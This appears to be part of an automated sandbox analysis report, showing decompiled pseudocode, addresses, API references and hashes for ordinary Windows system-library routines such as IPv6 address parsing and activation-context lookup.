													_t75 = E6B4BCC80(_t107, _t134);
													__eflags = _t75;
													if(_t75 == 0) {
														goto L36;
													} else {
														_t118 = _v16;
														_t130 = _t118 & 0x0000ffff;
														__eflags = _t134 - 0x30 - _t130;
														if(_t134 - 0x30 >= _t130) {
															goto L36;
														} else {
															__eflags = (_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 - 0xffff;
															if((_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 > 0xffff) {
																goto L6;
															} else {
																asm("cbw");
																_t82 = _t118 * _v12 - 0x00000030 + _v5 & 0x0000ffff;
																_v12 = _t82;
																_t99 = _t82;
																goto L49;
															}
														}
													}
												}
												goto L7;
												L49:
												_t139 = _t139 + 1;
												_t58 =  *_t139;
												_v5 = _t58;
												__eflags = _t58;
											} while (_t58 != 0);
											L52:
											__eflags =  *_t139;
											if( *_t139 != 0) {
												goto L6;
											} else {
												__eflags = _v6;
												if(_v6 != 0) {
													goto L6;
												} else {
													 *_a16 = _t98;
													 *_a12 = _v20;
													_t52 = 0;
												}
											}
										}
									}
								}
							}
						} else {
							_t139 = _t139 + 1;
							_t101 =  *_t139;
							_t135 = _t101;
							_t84 = E6B4BCB30(_t54, _t101);
							_pop(_t123);
							__eflags = _t84;
							if(_t84 == 0) {
								goto L6;
							} else {
								_t85 = E6B4BCC80(_t123, _t135);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L6;
								} else {
									__eflags = _t101;
									if(_t101 == 0) {
										L21:
										_t97 = _v12;
										_t54 = 0xa;
										goto L22;
									} else {
										_t136 = _v12;
										while(1) {
											__eflags = _t101 - 0x5d;
											if(_t101 == 0x5d) {
												goto L21;
											}
											_t102 = _t101;
											_t86 = E6B4BCB30(_t85, _t102);
											_pop(_t125);
											__eflags = _t86;
											if(_t86 == 0) {
												goto L6;
											} else {
												_t87 = E6B4BCC80(_t125, _t102);
												__eflags = _t87;
												if(_t87 == 0) {
													goto L6;
												} else {
													_t88 = _v20;
													_t127 = 0xa;
													_v16 = _t88 * _t127;
													asm("cdq");
													_v16 = _v16 + _t102;
													asm("adc ecx, edx");
													_t92 = _v16 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t88 * _t127 >> 0x20 - _t136;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L20:
															_t85 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t139 = _t139 + 1;
															_v20 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t101 =  *_t139;
															__eflags = _t101;
															if(_t101 != 0) {
																continue;
															} else {
																goto L21;
															}
														} else {
															__eflags = _t92 - 0xffffffff;
															if(_t92 > 0xffffffff) {
																goto L6;
															} else {
																goto L20;
															}
														}
													}
												}
											}
											goto L7;
										}
										goto L21;
									}
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t52;
			}

0x6b476ca5
0x6b476cb0
0x6b476cef
0x6b476cef
0x6b476cc4
0x6b476cc4
0x6b476cc6
0x6b476cc8
0x6b476ccb
0x6b476cce
0x6b476cd1
0x6b476cd4
0x6b476cfd
0x6b476cfe
0x6b476cfe
0x6b476cdc
0x6b476ce9
0x6b4d1c19
0x6b4d1c1e
0x6b4d1c1f
0x6b4d1c22
0x6b4d1cc3
0x6b4d1cc3
0x6b4d1cc6
0x6b4d1e20
0x6b4d1e20
0x00000000
0x6b4d1ccc
0x6b4d1ccc
0x6b4d1cd0
0x00000000
0x6b4d1cd6
0x6b4d1cd6
0x6b4d1cd7
0x6b4d1cda
0x6b4d1cdd
0x00000000
0x6b4d1ce3
0x6b4d1ce3
0x6b4d1ce4
0x6b4d1ce9
0x6b4d1cea
0x6b4d1ced
0x6b4d1cef
0x6b4d1cef
0x6b4d1cf2
0x6b4d1cf9
0x6b4d1cfb
0x6b4d1cfd
0x6b4d1cff
0x6b4d1d05
0x6b4d1d05
0x6b4d1d08
0x6b4d1d08
0x6b4d1d01
0x6b4d1d01
0x6b4d1d03
0x00000000
0x00000000
0x6b4d1d03
0x6b4d1cff
0x6b4d1d0b
0x6b4d1d0d
0x6b4d1d10
0x6b4d1d12
0x00000000
0x6b4d1d18
0x6b4d1d18
0x6b4d1d1c
0x6b4d1d1c
0x6b4d1d20
0x6b4d1d25
0x6b4d1d26
0x6b4d1d28
0x6b4d1d76
0x6b4d1d78
0x6b4d1d79
0x6b4d1d7d
0x00000000
0x6b4d1d83
0x6b4d1d84
0x6b4d1d89
0x6b4d1d8a
0x6b4d1d8c
0x00000000
0x6b4d1d92
0x6b4d1d93
0x6b4d1d99
0x6b4d1d9b
0x00000000
0x6b4d1da1
0x6b4d1da2
0x6b4d1da7
0x6b4d1da8
0x6b4d1daa
0x6b4d1dbb
0x6b4d1dbb
0x6b4d1dac
0x6b4d1dad
0x6b4d1db3
0x6b4d1db5
0x00000000
0x6b4d1db7
0x6b4d1db7
0x6b4d1db7
0x6b4d1db5
0x6b4d1dc3
0x6b4d1dc9
0x6b4d1dcb
0x6b4d1dd0
0x00000000
0x6b4d1dd6
0x6b4d1dd6
0x6b4d1ddb
0x6b4d1de0
0x6b4d1de1
0x6b4d1de3
0x6b4d1df4
0x6b4d1df4
0x6b4d1de5
0x6b4d1de6
0x6b4d1dec
0x6b4d1dee
0x00000000
0x6b4d1df0
0x6b4d1df0
0x6b4d1df0
0x6b4d1dee
0x6b4d1dfd
0x6b4d1dfe
0x6b4d1e05
0x6b4d1e09
0x6b4d1e09
0x6b4d1e0c
0x00000000
0x6b4d1e0c
0x6b4d1dd0
0x6b4d1d9b
0x6b4d1d8c
0x6b4d1d2a
0x6b4d1d2b
0x6b4d1d31
0x6b4d1d33
0x00000000
0x6b4d1d35
0x6b4d1d35
0x6b4d1d3b
0x6b4d1d3e
0x6b4d1d40
0x00000000
0x6b4d1d42
0x6b4d1d4d
0x6b4d1d52
0x00000000
0x6b4d1d58
0x6b4d1d5f
0x6b4d1d68
0x6b4d1d6b
0x6b4d1d6e
0x00000000
0x6b4d1d6e
0x6b4d1d52
0x6b4d1d40
0x6b4d1d33
0x00000000
0x6b4d1e10
0x6b4d1e10
0x6b4d1e11
0x6b4d1e13
0x6b4d1e16
0x6b4d1e16
0x6b4d1e24
0x6b4d1e24
0x6b4d1e27
0x00000000
0x6b4d1e2d
0x6b4d1e2d
0x6b4d1e31
0x00000000
0x6b4d1e37
0x6b4d1e3e
0x6b4d1e47
0x6b4d1e49
0x6b4d1e49
0x6b4d1e31
0x6b4d1e27
0x6b4d1d12
0x6b4d1cdd
0x6b4d1cd0
0x6b4d1c28
0x6b4d1c28
0x6b4d1c29
0x6b4d1c2b
0x6b4d1c2f
0x6b4d1c34
0x6b4d1c35
0x6b4d1c37
0x00000000
0x6b4d1c3d
0x6b4d1c3e
0x6b4d1c44
0x6b4d1c46
0x00000000
0x6b4d1c4c
0x6b4d1c4c
0x6b4d1c4e
0x6b4d1cbd
0x6b4d1cbd
0x6b4d1cc2
0x00000000
0x6b4d1c50
0x6b4d1c50
0x6b4d1c53
0x6b4d1c53
0x6b4d1c56
0x00000000
0x00000000
0x6b4d1c58
0x6b4d1c5c
0x6b4d1c61
0x6b4d1c62
0x6b4d1c64
0x00000000
0x6b4d1c6a
0x6b4d1c6b
0x6b4d1c71
0x6b4d1c73
0x00000000
0x6b4d1c79
0x6b4d1c79
0x6b4d1c7e
0x6b4d1c81
0x6b4d1c88
0x6b4d1c89
0x6b4d1c8f
0x6b4d1c91
0x6b4d1c94
0x6b4d1c97
0x6b4d1c99
0x00000000
0x6b4d1c9f
0x6b4d1c9f
0x6b4d1caa
0x6b4d1cb1
0x6b4d1cb3
0x6b4d1cb4
0x6b4d1cb7
0x6b4d1cb9
0x6b4d1cbb
0x00000000
0x00000000
0x00000000
0x00000000
0x6b4d1ca1
0x6b4d1ca1
0x6b4d1ca4
0x00000000
0x00000000
0x00000000
0x00000000
0x6b4d1ca4
0x6b4d1c9f
0x6b4d1c99
0x6b4d1c73
0x00000000
0x6b4d1c64
0x00000000
0x6b4d1c53
0x6b4d1c4e
0x6b4d1c46
0x6b4d1c37
0x00000000
0x00000000
0x00000000
0x6b476ce9
0x6b476cf4
0x6b476cfa

APIs

RtlIpv6StringToAddressA.1105(?,00000000,?,00000000), ref: 6B476CE2

Strings

[, xrefs: 6B4D1CCC

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID: [
API String ID: 27538981-784033777
Opcode ID: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction ID: 888deed44376fb8d892448f1ccd7f5e1a87b7e2349d1c76e33fd4f2b320584d8
Opcode Fuzzy Hash: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction Fuzzy Hash: 0771F231E042566EEB109A78D861FEE77B9AF06324F1845AED9A0D63C1D73CD181C760

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B1CC7, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6B4B1CC7(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t91;
				intOrPtr _t95;
				short _t96;
				intOrPtr _t104;
				intOrPtr _t111;
				short _t119;
				signed int _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				struct _EXCEPTION_RECORD _t143;
				intOrPtr* _t146;
				void* _t150;

				_t138 = __edx;
				_push(0x154);
				_push(0x6b550348);
				E6B4CD0E8(__ebx, __edi, __esi);
				 *(_t150 - 0xf0) = __edx;
				_t146 = __ecx;
				 *((intOrPtr*)(_t150 - 0xfc)) = __ecx;
				 *((intOrPtr*)(_t150 - 0xf8)) =  *((intOrPtr*)(_t150 + 8));
				 *(_t150 - 0xe8) =  *(_t150 + 0xc);
				 *((intOrPtr*)(_t150 - 0xf4)) =  *((intOrPtr*)(_t150 + 0x10));
				 *((intOrPtr*)(_t150 - 0xe4)) = 0;
				 *(_t150 - 0xdc) = 0;
				 *((intOrPtr*)(_t150 - 0xd8)) = 0;
				 *(_t150 - 0xe0) = 0;
				 *((intOrPtr*)(_t150 - 0x140)) = 0x40;
				memset(_t150 - 0x13c, 0, 0x3c);
				 *((intOrPtr*)(_t150 - 0x164)) = 0x24;
				 *((intOrPtr*)(_t150 - 0x160)) = 1;
				_t130 = 7;
				memset(_t150 - 0x15c, 0, _t130 << 2);
				_t143 =  *(_t150 - 0xe8);
				_t91 = E6B492430(1, _t146, 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
				_t147 = _t91;
				if(_t91 >= 0) {
					if( *0x6b568460 != 0 && ( *(_t150 - 0xe0) & 0x00000001) == 0) {
						_t95 = E6B492D50(7, 0, 2,  *((intOrPtr*)(_t150 - 0xfc)), _t150 - 0x140);
						_t147 = _t95;
						if(_t95 < 0) {
							goto L1;
						}
						if( *(_t150 - 0x13c) == 1) {
							if(( *(_t150 - 0x118) & 0x00000001) == 0) {
								if(( *(_t150 - 0x118) & 0x00000002) != 0) {
									 *(_t150 - 0x120) = 0xfffffffc;
								}
							} else {
								 *(_t150 - 0x120) =  *(_t150 - 0x120) & 0x00000000;
							}
							_t133 =  *((intOrPtr*)(_t150 - 0x114));
							_t96 =  *((intOrPtr*)(_t133 + 0x5c));
							 *((short*)(_t150 - 0xda)) = _t96;
							 *(_t150 - 0xdc) = _t96;
							 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t133 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
							 *(_t150 - 0xe8) = _t150 - 0xd0;
							 *((short*)(_t150 - 0xea)) = 0xaa;
							_t104 = E6B484720(_t138,  *(_t150 - 0xf0) & 0x0000ffff, _t150 - 0xec, 2, 0);
							_t147 = _t104;
							if(_t104 < 0 || RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
								goto L1;
							} else {
								 *0x6b56b1e0( *(_t150 - 0x120),  *(_t150 - 0xf0), _t150 - 0xe4);
								_t147 =  *((intOrPtr*)( *0x6b568460))();
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									goto L1;
								}
								_t111 =  *((intOrPtr*)(_t150 - 0xe4));
								if(_t111 == 0xffffffff) {
									L25:
									 *((intOrPtr*)(_t150 - 4)) = 1;
									_t143 =  *0x6b568468;
									if(_t143 != 0) {
										 *0x6b56b1e0(_t111);
										 *_t143();
									}
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									goto L1;
								}
								E6B48F540(_t150 - 0x164, _t111);
								 *((intOrPtr*)(_t150 - 4)) = 0;
								if( *((intOrPtr*)(_t143 + 4)) != 0) {
									RtlFreeUnicodeString(_t143);
								}
								_t144 =  *((intOrPtr*)(_t150 - 0xfc));
								_t147 = E6B492430(0,  *((intOrPtr*)(_t150 - 0xfc)), 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									L24:
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									_t111 = E6B4ED704();
									goto L25;
								} else {
									_t147 = E6B492D50(7, 0, 2, _t144, _t150 - 0x140);
									 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
									if(_t147 < 0) {
										goto L24;
									}
									if( *(_t150 - 0x13c) == 1) {
										_t137 =  *((intOrPtr*)(_t150 - 0x114));
										_t119 =  *((intOrPtr*)(_t137 + 0x5c));
										 *((short*)(_t150 - 0xda)) = _t119;
										 *(_t150 - 0xdc) = _t119;
										 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t137 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
										if(RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
											goto L24;
										}
										_t147 = 0xc0150004;
										L23:
										 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
										goto L24;
									}
									_t147 = 0xc0150005;
									goto L23;
								}
							}
						}
						_t147 = 0xc0150005;
					}
				}
				L1:
				return E6B4CD130(1, _t143, _t147);
			}

0x6b4b1cc7
0x6b4b1cc7
0x6b4b1ccc
0x6b4b1cd1
0x6b4b1cd6
0x6b4b1cdc
0x6b4b1cde
0x6b4b1ce7
0x6b4b1cf0
0x6b4b1cf9
0x6b4b1d01
0x6b4b1d09
0x6b4b1d0f
0x6b4b1d15
0x6b4b1d1b
0x6b4b1d2f
0x6b4b1d37
0x6b4b1d44
0x6b4b1d4c
0x6b4b1d55
0x6b4b1d68
0x6b4b1d78
0x6b4b1d7d
0x6b4b1d81
0x6b4ed4e3
0x6b4ed509
0x6b4ed50e
0x6b4ed512
0x00000000
0x00000000
0x6b4ed51e
0x6b4ed531
0x6b4ed543
0x6b4ed545
0x6b4ed545
0x6b4ed533
0x6b4ed533
0x6b4ed533
0x6b4ed54f
0x6b4ed555
0x6b4ed559
0x6b4ed560
0x6b4ed570
0x6b4ed57c
0x6b4ed587
0x6b4ed5a3
0x6b4ed5a8
0x6b4ed5ac
0x00000000
0x6b4ed5ce
0x6b4ed5e9
0x6b4ed5f1
0x6b4ed5f3
0x6b4ed5fb
0x00000000
0x00000000
0x6b4ed601
0x6b4ed60a
0x6b4ed6e1
0x6b4ed6e1
0x6b4ed6e4
0x6b4ed6ec
0x6b4ed6f1
0x6b4ed6f7
0x6b4ed6f7
0x6b4ed730
0x00000000
0x6b4ed730
0x6b4ed618
0x6b4ed61f
0x6b4ed625
0x6b4ed628
0x6b4ed628
0x6b4ed644
0x6b4ed651
0x6b4ed653
0x6b4ed65b
0x6b4ed6d5
0x6b4ed6d5
0x6b4ed6dc
0x00000000
0x6b4ed65d
0x6b4ed670
0x6b4ed672
0x6b4ed67a
0x00000000
0x00000000
0x6b4ed682
0x6b4ed68b
0x6b4ed691
0x6b4ed695
0x6b4ed69c
0x6b4ed6ac
0x6b4ed6c8
0x00000000
0x00000000
0x6b4ed6ca
0x6b4ed6cf
0x6b4ed6cf
0x00000000
0x6b4ed6cf
0x6b4ed684
0x00000000
0x6b4ed684
0x6b4ed65b
0x6b4ed5ac
0x6b4ed520
0x6b4ed520
0x6b4ed4e3
0x6b4b1d87
0x6b4b1d8e

APIs

memset.1105(?,00000000,0000003C,6B550348,00000154,6B48BC93,02BE0000,?,?,?,.mui,?,?,?,?,?), ref: 6B4B1D2F
RtlDosApplyFileIsolationRedirection_Ustr.1105(00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6B4B1D78
RtlFindActivationContextSectionString.1105(00000007,00000000,00000002,?,?,00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6B4ED509

Strings

$, xrefs: 6B4B1D37
@, xrefs: 6B4B1D1B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationApplyContextFileFindIsolationRedirection_SectionStringUstrmemset
String ID: $$@
API String ID: 2010900335-1194432280
Opcode ID: 59d746e540585fb88881ac755186da82f6232e2ba7105124ee3c1de8383e0bf0
Instruction ID: 6c2f09024f9adc4abf3fcfcdbf93b7bb8db2a873690ff01b3a567fbe6370debb
Opcode Fuzzy Hash: 59d746e540585fb88881ac755186da82f6232e2ba7105124ee3c1de8383e0bf0
Instruction Fuzzy Hash: 60811771D402699BDB21CF68CC41FEEB7B8AB49714F0041EAA91DB7240E7349E85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B478EE6, Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 148COMMON

Download Yara Rule

Strings

SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu, xrefs: 6B4D358E
SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!, xrefs: 6B4D34FF
SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu, xrefs: 6B4D351C
SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu, xrefs: 6B4D354D
RtlpCrackActivationContextStringSectionHeader, xrefs: 6B4D34EC, 6B4D34FA, 6B4D3517, 6B4D3538, 6B4D3548, 6B4D3558, 6B4D3572, 6B4D3589, 6B4D3598
SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu, xrefs: 6B4D355D
SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu, xrefs: 6B4D3577
SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!, xrefs: 6B4D34F1
SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu, xrefs: 6B4D353D
SsHd, xrefs: 6B478F1B
SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu, xrefs: 6B4D359D

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: RtlpCrackActivationContextStringSectionHeader$SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu$SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu$SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu$SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu$SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu$SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu$SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!$SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!$SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu$SsHd
API String ID: 0-1525761513
Opcode ID: 14c35ea0e6a781cd86cf9b2965a694400ca066d1a8d6126e8e390b3794a8ffce
Instruction ID: b3cce99851488cc5d8f7529f76286960dfe58cb97214e4494efce9f39e9a455b
Opcode Fuzzy Hash: 14c35ea0e6a781cd86cf9b2965a694400ca066d1a8d6126e8e390b3794a8ffce
Instruction Fuzzy Hash: C84194B1600141BFE7249F09CCD1E67776ADB95B9C7608269F404EA341E67DED02C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4931F0, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6B4931F0(void* __ecx, void __edx, void* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v12;
				void _v28;
				signed int _v32;
				void _v36;
				int _v40;
				void _v44;
				intOrPtr _v48;
				void _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t80;
				void* _t85;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t95;
				signed int _t96;
				int _t97;
				void* _t99;
				intOrPtr _t100;
				signed int _t106;
				int _t110;
				void _t120;
				void* _t125;
				signed char _t126;
				void* _t127;
				intOrPtr _t128;
				void* _t135;
				void* _t136;
				intOrPtr _t137;
				signed int _t139;
				void* _t140;
				signed int _t152;

				_t132 = __edx;
				_v12 =  *0x6b56d360 ^ _t139;
				_t135 = __ecx;
				_t136 = 0;
				_v56 = _a8;
				_t110 =  *(__ecx + 0xc);
				_v52 = __edx;
				_v60 = _a12;
				_v40 = _t110;
				if(_t110 < 0x20 ||  *((intOrPtr*)(__ecx + 4)) < 0x20) {
					_push( *((intOrPtr*)(_t135 + 4)));
					_push(_t110);
					_push(_t135);
					_push("SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu\n");
					goto L50;
				} else {
					if(__edx != 0) {
						_t82 =  *((intOrPtr*)(__ecx + 0x14));
						if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
							goto L25;
						} else {
							_t132 = 1;
							_t85 = E6B50444F(_t82, 1, 0x10, _t110);
							_t86 =  *((intOrPtr*)(_t135 + 0x14));
							_push(_t110);
							if(_t85 != 0) {
								_t120 =  *(_t86 + _t135 + 4);
								_t132 = _t120;
								_v44 = _t120;
								_push(0x18);
								_v32 =  *((intOrPtr*)(_t86 + _t135 + 8));
								if(E6B50444F( *((intOrPtr*)(_t86 + _t135 + 8)), _t120) != 0) {
									_t123 = _v32 + _t135;
									_v32 = 0;
									_v48 = _t123;
									if(_v44 <= 0) {
										goto L25;
									} else {
										_t110 = _v52;
										_v36 = _t123;
										while(1) {
											_t90 = E6B4BF380(_t110, _t123, 0x10);
											_t140 = _t140 + 0xc;
											_t91 = _v32;
											if(_t90 == 0) {
												break;
											}
											_t106 = _t91 + 1;
											_t123 = _v36 + 0x18;
											_v32 = _t106;
											_v36 = _v36 + 0x18;
											if(_t106 < _v44) {
												continue;
											} else {
												goto L25;
											}
											goto L52;
										}
										_t132 = 1;
										_t110 =  *(_v48 + 0x10 + (_t91 + _t91 * 2) * 8);
										if(E6B50444F(_t110, 1, 0x10,  *(_t135 + 0xc)) != 0) {
											goto L4;
										} else {
											_push(_v40);
											_push(0x10);
											_push(_t110);
											E6B505720(0x33, 0, "SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)\n", _v32);
											goto L51;
										}
									}
								} else {
									_push(_t110);
									_push(0x18);
									_push(_v44);
									E6B505720(0x33, 0, "SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _v32);
									goto L51;
								}
							} else {
								E6B505720(0x33, 0, "SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)\n", _t86);
								goto L51;
							}
						}
					} else {
						_t110 =  *(__ecx + 0x10);
						if(_t110 == 0) {
							L25:
							return E6B4BB640(0xc0150001, _t110, _v12 ^ _t139, _t132, _t135, _t136);
						} else {
							L4:
							_t125 = _t135 + _t110;
							if(_t125 == 0) {
								goto L25;
							} else {
								_t110 =  *(_t125 + 4);
								if(_t110 == 0) {
									goto L25;
								} else {
									_v36 =  *(_t125 + 8);
									_t95 = _t110;
									_t96 = _t95 * 0x10;
									_t152 = _t95 * 0x10 >> 0x20;
									if(_t152 < 0 || _t152 <= 0 && _t96 <= 0xffffffff) {
										_t132 =  *(_t125 + 8);
										_t137 = _t96 + _t132;
										_v48 = _t137;
										_t136 = 0;
										if(_t137 < _t96) {
											goto L47;
										} else {
											_t97 =  *(_t135 + 0xc);
											if(_t132 >= _t97 || _v48 > _t97) {
												goto L48;
											} else {
												_t126 =  *(_t125 + 0xc);
												_t99 = _t132 + _t135;
												if((_t126 & 0x00000002) == 0) {
													_t127 = 0;
													if(_t110 != 0) {
														_t132 = _a4;
														while( *_t99 != _t132) {
															_t127 = _t127 + 1;
															_t99 = _t99 + 0x10;
															if(_t127 < _t110) {
																continue;
															} else {
															}
															goto L17;
														}
														goto L16;
													}
													goto L17;
												} else {
													_t132 =  *_t99;
													_t136 = _a4;
													if(_t136 < _t132) {
														goto L25;
													} else {
														if((_t126 & 0x00000001) != 0) {
															_t136 = _t136 - _t132;
															if(_t136 >= _t110) {
																goto L25;
															} else {
																_t136 = _t99 + (_t136 << 4);
																goto L17;
															}
														} else {
															_v28 = _t136;
															_t99 = bsearch( &_v28, _t99, _t110, 0x10, 0x6b4a8c30);
															_t140 = _t140 + 0x14;
															L16:
															_t136 = _t99;
															L17:
															if(_t136 == 0) {
																goto L25;
															} else {
																_t100 =  *((intOrPtr*)(_t136 + 4));
																if(_t100 == 0) {
																	goto L25;
																} else {
																	_t128 =  *((intOrPtr*)(_t136 + 8));
																	_t110 =  *(_t135 + 0xc);
																	if(_t128 > 0xffffffff) {
																		L26:
																		_push(_t110);
																		_push(_t128);
																		_push(_t100);
																		_push("SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)\n");
																		L50:
																		_push(0);
																		_push(0x33);
																		E6B505720();
																		goto L51;
																	} else {
																		_t132 = _t128 + _t100;
																		if(_t132 < _t128 || _t100 >= _t110 || _t132 > _t110) {
																			goto L26;
																		} else {
																			 *_v56 = _t100 + _t135;
																			 *_v60 =  *((intOrPtr*)(_t136 + 8));
																			_t80 = 0;
																		}
																	}
																	goto L24;
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t132 = _v36;
										L47:
										_t97 = _v40;
										L48:
										_push(_t97);
										_push(0x10);
										_push(_t110);
										E6B505720(0x33, 0, "SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _t132);
										L51:
										_t80 = 0xc0150003;
										L24:
										return E6B4BB640(_t80, _t110, _v12 ^ _t139, _t132, _t135, _t136);
									}
								}
							}
						}
					}
				}
				L52:
			}

0x6b4931f0
0x6b4931ff
0x6b493205
0x6b49320c
0x6b49320e
0x6b493214
0x6b493217
0x6b49321a
0x6b49321d
0x6b493223
0x6b4dd974
0x6b4dd977
0x6b4dd978
0x6b4dd979
0x00000000
0x6b493233
0x6b493235
0x6b4dd824
0x6b4dd829
0x00000000
0x6b4dd82f
0x6b4dd832
0x6b4dd839
0x6b4dd840
0x6b4dd843
0x6b4dd844
0x6b4dd85d
0x6b4dd861
0x6b4dd867
0x6b4dd86c
0x6b4dd86e
0x6b4dd878
0x6b4dd89f
0x6b4dd8a1
0x6b4dd8a4
0x6b4dd8aa
0x00000000
0x6b4dd8b0
0x6b4dd8b0
0x6b4dd8b3
0x6b4dd8b6
0x6b4dd8ba
0x6b4dd8bf
0x6b4dd8c4
0x6b4dd8c7
0x00000000
0x00000000
0x6b4dd8cc
0x6b4dd8cd
0x6b4dd8d0
0x6b4dd8d3
0x6b4dd8d9
0x00000000
0x6b4dd8db
0x00000000
0x6b4dd8db
0x00000000
0x6b4dd8d9
0x6b4dd8e9
0x6b4dd8f0
0x6b4dd8fd
0x00000000
0x6b4dd903
0x6b4dd903
0x6b4dd909
0x6b4dd90b
0x6b4dd916
0x00000000
0x6b4dd91b
0x6b4dd8fd
0x6b4dd87a
0x6b4dd87d
0x6b4dd87e
0x6b4dd880
0x6b4dd88d
0x00000000
0x6b4dd892
0x6b4dd846
0x6b4dd850
0x00000000
0x6b4dd855
0x6b4dd844
0x6b49323b
0x6b49323b
0x6b493240
0x6b49332c
0x6b493341
0x6b493246
0x6b493246
0x6b493246
0x6b49324b
0x00000000
0x6b493251
0x6b493251
0x6b493256
0x00000000
0x6b49325c
0x6b493264
0x6b493267
